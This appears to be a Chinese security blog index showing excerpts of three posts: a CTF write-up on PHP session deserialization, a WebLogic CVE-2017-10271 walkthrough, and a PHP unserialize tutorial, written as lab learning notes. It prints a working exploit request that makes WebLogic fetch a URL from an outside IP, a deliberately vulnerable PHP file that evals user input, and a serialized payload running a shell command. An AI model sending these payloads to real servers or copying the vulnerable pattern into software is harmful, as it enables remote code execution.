关于 PHP SESSION 反序列化

0x00 环境 公司出了一些ctf,说要摸底,然后根据答题成绩来分配相应工作。。。。。 其中有一道是php反序列化,直接用的就是 第三届4.29“安恒杯”网络安全技术大赛初赛第三个web题 我比较菜,这里根据网上已有writeup做了一遍,这里记录一下。。。。 reber@wyb:~$ html cat /proc/version Linux version 4.4.0-31-generic (buildd@lgw01-43) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 reber@wyb:~$ html php --version PHP 5.5.9-1ubuntu4.21 (cli) (built: Feb 9 2017 20:54:58) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies reber@ubuntu-linux:~$ apachectl -v Server version: Apache/2.


WebLogic 反序列化漏洞(CVE-2017-10271)

0x00 WebLogic WLS组件反序列化漏洞 这个漏洞的编号是 CVE-2017-10271,漏洞存在于 Oracle WebLogic 的 wls-wsat 组件中,该组件的 XMLDecoder 方法在反序列化时存在漏洞可远程代码执行,凡是版本号 < 10.3.6 的都受到影响,刚出来时没有看,现在记录一下 漏洞环境:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 0x01 访问远程文件 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=DJbghZRGlJf0PyyLc52n4GdvrbDkrxKWGDpwnncFpHnqsDjMT68F!-298356074 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 688 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8" class="java.beans.XMLDecoder"> <object id="url" class="java.net.URL"> <string>http://114.115.123.123:80/aaaaaaa</string> </object> <object idref="url"> <void id="stream" method = "openStream" /> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 0x02 写入文件 POST /wls-wsat/CoordinatorPortType HTTP/1.


PHP反序列化漏洞

0x00 关于反序列化漏洞 序列化:使用函数serialize()可将实例序列化为字符串 反序列化:使用函数unserialize()可将序列化的字符串还原 服务端有test.php,代码如下 <?php class fun{ public $msg; function __construct(){ echo '__construct'; } function __destruct() { eval($this->msg); } } $d = $_REQUEST['str']; var_dump($d); echo "<br />"; $tc = unserialize($d); var_dump($tc); ?> 客户端可构造如下代码生成序列化后的字符串 <?php class fun{ public $msg; function __construct(){ echo '__construct'; } function __destruct() { eval($this->msg); } } $f = new fun(); $f->msg = "system('ls /etc/ssh');"; echo serialize($f); ?> 生成的序列化字符串为:O:3:"fun":1:{s:3:"msg";s:22:"system('ls /etc/ssh');";}



可以返回顶部